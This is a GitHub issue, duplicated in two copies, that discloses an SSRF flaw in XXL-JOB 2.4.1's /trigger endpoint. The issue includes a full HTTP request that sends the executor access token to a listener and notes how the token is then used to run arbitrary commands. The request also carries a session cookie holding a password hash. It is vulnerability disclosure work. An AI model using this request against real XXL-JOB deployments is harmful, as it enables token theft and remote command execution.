xxl-job =< 2.4.1 has a Server-Side Request Forgery (SSRF) vulnerability, which causes low-privileged users to control executor to RCE.
### Which version of XXL-JOB do you using?
2.4.1（latest）

### vulnerability description
XXL-JOB is a distributed task scheduling platform based on java language in the XXL (XXL-JOB) community.
There is an SSRF vulnerability in xxl-job-2.4.1/xxl-job-admin/src/main/java/com/xxl/job/admin/controller/JobInfoController.java of Xxl-job 2.4.1, which originates from /trigger, it directly sends a request to the address specified by addressList without judging whether the addressList parameter is the valid executor address. It can make the SSRF vulnerability, the attacker obtains XXL-JOB-ACCESS-TOKEN and calls any executor, causing the execution of arbitrary commands of the executor.
The /trigger interface call only needs to be a low Privilege user of the platform。

### Steps to reproduce the behavior
condition：
- XXL-JOB <= 2.4.1 (latest version)
- Regular user account
- Know a JobId (which can be obtained by traversal)
1. Create a normal user normal without any executor permissions。
![image](https://github.com/xuxueli/xxl-job/assets/75994739/70215ba6-88aa-436c-ada9-97ca4c5db57e)
![image](https://github.com/xuxueli/xxl-job/assets/75994739/22f99c97-c202-4ce9-9da9-f25ddb799cd9)
2. When using the normal user to call the interface, set the input parameter addressList to the http server address , and print the XXL-JOB-ACCESS-TOKEN directly on the target server
```http
POST /xxl-job-admin/jobinfo/trigger HTTP/1.1
Host: 10.248.28.212:8080
Content-Length: 69
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://10.248.28.212:8080
Referer: http://10.248.28.212:8080/xxl-job-admin/jobinfo
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XXL_JOB_LOGIN_IDENTITY=7b226964223a322c22757365726e616d65223a2274657374222c2270617373776f7264223a226531306164633339343962613539616262653536653035376632306638383365222c22726f6c65223a302c227065726d697373696f6e223a22227d
Connection: close

id=1&executorParam=test&addressList=http%3A%2F%2F10.248.28.212%3A9999
```
![image](https://github.com/xuxueli/xxl-job/assets/75994739/a6da8db9-9329-4f90-bad2-299349a4513c)
3. nc in vps
![image](https://github.com/xuxueli/xxl-job/assets/75994739/c31d9786-a1cd-419e-acc2-4a2ef61bac8a)
4. Use the token to call the task trigger interface of the executor Restful API to execute arbitrary commands

### Other information
the vulnerability is similar to  the CVE-2022-43183
xxl-job =< 2.4.1 version has SSRF vulnerability, which causes low-privileged users to control executor to RCE
This is a GitHub Issue
repo:xxl-job
owner:xuxueli
Title : xxl-job =< 2.4.1 version has SSRF vulnerability, which causes low-privileged users to control executor to RCE
Issue date:

--- start body ---
### Which version of XXL-JOB do you using?
2.4.1（latest）

### vulnerability description
XXL-JOB is a distributed task scheduling platform based on java language in the XXL (XXL-JOB) community.
There is an SSRF vulnerability in xxl-job-2.4.1/xxl-job-admin/src/main/java/com/xxl/job/admin/controller/JobInfoController.java of Xxl-job 2.4.1, which originates from /trigger, it directly sends a request to the address specified by addressList without judging whether the addressList parameter is the valid executor address. It can make the SSRF vulnerability, the attacker obtains XXL-JOB-ACCESS-TOKEN and calls any executor, causing the execution of arbitrary commands of the executor.
The /trigger interface call only needs to be a low Privilege user of the platform。

### Steps to reproduce the behavior
condition：
- XXL-JOB <= 2.4.1 (latest version)
- Regular user account
- Know a JobId (which can be obtained by traversal)
1. Create a normal user normal without any executor permissions。
![image](https://github.com/xuxueli/xxl-job/assets/75994739/70215ba6-88aa-436c-ada9-97ca4c5db57e)
![image](https://github.com/xuxueli/xxl-job/assets/75994739/22f99c97-c202-4ce9-9da9-f25ddb799cd9)
2. When using the normal user to call the interface, set the input parameter addressList to the http server address , and print the XXL-JOB-ACCESS-TOKEN directly on the target server
```http
POST /xxl-job-admin/jobinfo/trigger HTTP/1.1
Host: 10.248.28.212:8080
Content-Length: 69
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://10.248.28.212:8080
Referer: http://10.248.28.212:8080/xxl-job-admin/jobinfo
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XXL_JOB_LOGIN_IDENTITY=7b226964223a322c22757365726e616d65223a2274657374222c2270617373776f7264223a226531306164633339343962613539616262653536653035376632306638383365222c22726f6c65223a302c227065726d697373696f6e223a22227d
Connection: close

id=1&executorParam=test&addressList=http%3A%2F%2F10.248.28.212%3A9999
```
![image](https://github.com/xuxueli/xxl-job/assets/75994739/a6da8db9-9329-4f90-bad2-299349a4513c)
3. nc in vps
![image](https://github.com/xuxueli/xxl-job/assets/75994739/c31d9786-a1cd-419e-acc2-4a2ef61bac8a)
4. Use the token to call the task trigger interface of the executor Restful API to execute arbitrary commands

### Other information
the vulnerability is similar to  the CVE-2022-43183
--- end body ---
